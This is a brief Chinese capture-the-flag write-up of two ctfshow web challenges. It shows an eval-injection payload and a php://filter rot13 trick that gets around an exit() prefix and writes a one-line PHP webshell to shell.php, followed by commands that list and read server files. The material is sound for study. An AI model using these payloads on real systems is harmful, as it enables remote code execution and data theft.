一不小心在ctfshow上看了新春迎新赛,也就尝试做了一下,也算是检验自己这段时间以来的成果吧!
热身
看到代码本能感觉挺简单的,就一个eval函数,于是我便直接传入了system(‘ls’);
没发现flag,于是又查看。
想着用通配符
发现没用,又用了?也没用。
所以想到了另一种无参rce。
首先查看了当前页面的变量,直接发现了flag,也算是误打误撞。
Payload:?f= print_r(get_defined_vars());
web1
刚开始看到这个的时候觉得很熟悉,好像之前写过有关绕过file_put_contents函数的题,找到后发现不一样,所以我直接在网上搜索了file_put_contents($content,'<?php exit();'.$content);
看了许多文章后理解了一点,遇到这类题,需要利用php伪协议filter进行嵌套过滤器进行消除死亡代码,然后进行shell的写入或者读取;
利用rot13编码来写入一句话木马
Payload:
php://filter/write=string.rot13|<?cuc @riny($_CBFG[pzq]);?>|/resource=shell.php
两个竖线中间的内容即是用rot13编码后的木马
两竖线中间便是我们要插入的关键内容,将一句话木马写入一个文件中并利用木马来得到flag。
首先先运行一下
然后传入system('ls /');
看到了flag.txt,直接system('cat /flag.txt');
得到flag。